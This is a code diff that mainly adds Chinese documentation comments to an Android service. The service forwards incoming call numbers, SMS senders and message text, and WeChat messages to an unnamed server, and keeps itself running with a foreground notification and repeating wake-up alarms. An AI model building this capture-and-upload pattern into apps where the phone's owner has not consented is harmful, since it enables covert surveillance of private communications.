@@ -50,8 +50,8 @@ public class MonitorService extends Service {
/**
* 服务启动时的命令处理。
*
* @param intent 携带启动服务的意图,可能包含来电或短信的信息。
* @param flags 启动标志,提供额外数据。
* @param intent 携带启动服务的意图,可能包含来电或短信的信息。
* @param flags 启动标志,提供额外数据。
* @param startId 一个唯一的整数,标识此启动请求。
* @return 返回START_STICKY, 如果系统在服务终止后杀死, 则重新创建服务并调用onStartCommand(),但不重新传递最后的意图。
*/
@@ -73,6 +73,17 @@ public class MonitorService extends Service {
}
/**
* 将来电信息发送到服务器。
*
* @param incomingNumber 接收到的电话号码。
* 该方法首先检查传入的电话号码是否为"null"或null,
* 如果是,则不执行任何操作。
* 其次, 如果电话号码与上一个来电号码相同, 并且时间间隔小于70秒,
* 也不会执行发送操作,以避免频繁发送相同信息。
* 如果通过所有检查, 将创建一个包含来电信息的CallInfo对象,
* 并使用网络工具将其发送到服务器。
*/
private void sendCallInfoToServer ( String incomingNumber ) {
Timber . d ( " sendCallInfoToServer: 处理来电信息 " ) ;
if ( incomingNumber . equals ( " null " ) | | incomingNumber = = null ) {
@@ -91,59 +102,101 @@ public class MonitorService extends Service {
lastCallTime = currentTimeMillis ;
String currentTime = new SimpleDateFormat ( " yyyy-MM-dd HH:mm:ss " ) . format ( new Date ( ) ) ;
// 创建CallInfo对象并设置相关信息, 然后发送到服务器
CallInfo callInfo = new CallInfo ( ) ;
callInfo . setCallTime ( currentTime ) ;
callInfo . setPhoneNumber ( incomingNumber ) ;
networkUtils . postRequest ( callInfo ) ;
}
/**
* 向服务器发送短信信息。
*
* @param sender 发送者的手机号码。
* @param messageBody 短信的内容。
* 该方法首先会检查发送者和短信内容是否为空,如果为空则不进行任何操作。
* 接着, 它会格式化当前时间, 并创建一个SMSInfo对象, 将发送者、短信内容和接收时间设置到这个对象中。
* 最后, 使用网络工具将这个SMSInfo对象以POST请求的方式发送到服务器。
*/
private void sendSmsInfoToServer ( String sender , String messageBody ) {
Timber . d ( " sendSmsInfoToServer: 处理短信信息 " ) ;
if ( checkNullString ( sender , messageBody ) ) {
return ;
}
// 获取当前时间并格式化
String currentTime = new SimpleDateFormat ( " yyyy-MM-dd HH:mm:ss " ) . format ( new Date ( ) ) ;
// 创建SMSInfo对象并设置相关属性
SMSInfo smsInfo = new SMSInfo ( ) ;
smsInfo . setSmsNumber ( sender ) ;
smsInfo . setSmsContent ( messageBody ) ;
smsInfo . setSmsAcceptanceTime ( currentTime ) ;
// 使用网络工具发送POST请求
networkUtils . postRequest ( smsInfo ) ;
}
/**
* 发送微信消息。
* 使用网络工具类向指定地址发送微信消息。
*
* @param weChatMsg 微信消息对象,包含消息的全部必要信息。
*/
public void sendWeChatMsg ( WeChatMsg weChatMsg ) {
networkUtils . postRequest ( weChatMsg ) ;
// 使用网络工具类发送POST请求, 将微信消息发送出去。
}
/**
* 检查两个字符串是否为null或"null"。
*
* @param a 第一个字符串
* @param b 第二个字符串
* @return 如果任一字符串为null或者"null", 返回true; 否则返回false。
*/
private boolean checkNullString ( String a , String b ) {
// 检查任一字符串是否为null
if ( a = = null | | b = = null ) {
return true ;
}
// 检查任一字符串是否等于"null"
if ( a . equals ( " null " ) | | b . equals ( " null " ) ) {
return true ;
}
return false ;
}
/**
* 启动一个前台服务。该方法首先会检查系统版本, 如果是在API 26及以上版本, 就会创建一个通知频道。
* 然后,构建一个通知对象,并使用该通知启动前台服务。前台服务能够在后台持续运行,即使应用被关闭或压入后台,
* 也能保持服务的运行状态,常用于需要持续运行的服务。
*/
private void startForegroundService ( ) {
Timber . d ( " startForegroundService: 启动前台服务 " ) ;
// 创建通知频道( 仅在API 26及以上版本中需要)
// 检测系统版本, 仅在API 26及以上版本创建通知频道
if ( Build . VERSION . SDK_INT > = Build . VERSION_CODES . O ) {
NotificationChannel channel = new NotificationChannel ( " channel_id " , " Channel Name " , NotificationManager . IMPORTANCE_DEFAULT ) ;
NotificationManager notificationManager = getSystemService ( NotificationManager . class ) ;
notificationManager . createNotificationChannel ( channel ) ;
}
// 创建通知
// 创建通知对象。通知内容包括标题、小图标等
Notification notification = new NotificationCompat . Builder ( this , " channel_id " )
. setContentTitle ( getString ( R . string . notification_title ) )
//.setContentText("sdads")
. setSmallIcon ( R . drawable . ic_notification ) // 确保您有这个 图标
. setSmallIcon ( R . drawable . ic_notification ) // 设置通知的小 图标
. build ( ) ;
// 启动前台服务
// 使用创建的通知 启动前台服务
startForeground ( 1 , notification ) ;
}
/**
* 当其他组件请求与服务绑定时调用此方法。该服务不提供绑定接口, 因此总是返回null。
*
* @param intent 指示服务应该执行的操作的Intent。包含请求绑定的服务的信息。
* @return 返回null, 表示该服务不支持绑定操作。
*/
@Nullable
@Override
public IBinder onBind ( Intent intent ) {
@@ -151,18 +204,33 @@ public class MonitorService extends Service {
return null ; // 不提供绑定服务的接口
}
/**
* 调度心跳监测。此函数用于设置一个定时任务,以便周期性地触发心跳事件。
* 心跳事件通过广播的形式由系统自动触发,用于维持应用程序在后台的活性或执行定期任务。
*
* @param context 应用程序的上下文环境,用于访问系统的各种服务。
*/
public static void scheduleHeartbeat ( Context context ) {
// 获取系统的闹钟服务
AlarmManager alarmManager = ( AlarmManager ) context . getSystemService ( Context . ALARM_SERVICE ) ;
// 创建一个意图,指定当闹钟触发时要执行的广播接收器
Intent intent = new Intent ( context , HeartbeatAlarmReceiver . class ) ;
// 根据意图和标志位创建一个唯一的PendingIntent, 系统通过这个PendingIntent触发广播
PendingIntent pendingIntent = PendingIntent . getBroadcast ( context , 0 , intent , 0 ) ;
// 计算心跳事件的触发间隔,单位为毫秒
long intervalMillis = HEARTBEAT_INTERVAL_MINUTES * 60 * 1000 ; // 10分钟的毫秒数
// 根据Android版本选择合适的闹钟设置方法, 以确保闹钟在设备休眠时也能触发
if ( Build . VERSION . SDK_INT > = Build . VERSION_CODES . M ) {
// 对于6.0及以上版本, 使用setExactAndAllowWhileIdle方法, 可以在设备闲置时精确安排闹钟
alarmManager . setExactAndAllowWhileIdle ( AlarmManager . RTC_WAKEUP , System . currentTimeMillis ( ) + intervalMillis , pendingIntent ) ;
} else if ( Build . VERSION . SDK_INT > = Build . VERSION_CODES . KITKAT ) {
// 对于4.4到6.0版本, 使用setExact方法, 可以精确安排闹钟
alarmManager . setExact ( AlarmManager . RTC_WAKEUP , System . currentTimeMillis ( ) + intervalMillis , pendingIntent ) ;
} else {
// 对于更早的版本, 使用set方法, 可以安排一个带宽醒目的闹钟
alarmManager . set ( AlarmManager . RTC_WAKEUP , System . currentTimeMillis ( ) + intervalMillis , pendingIntent ) ;
}
}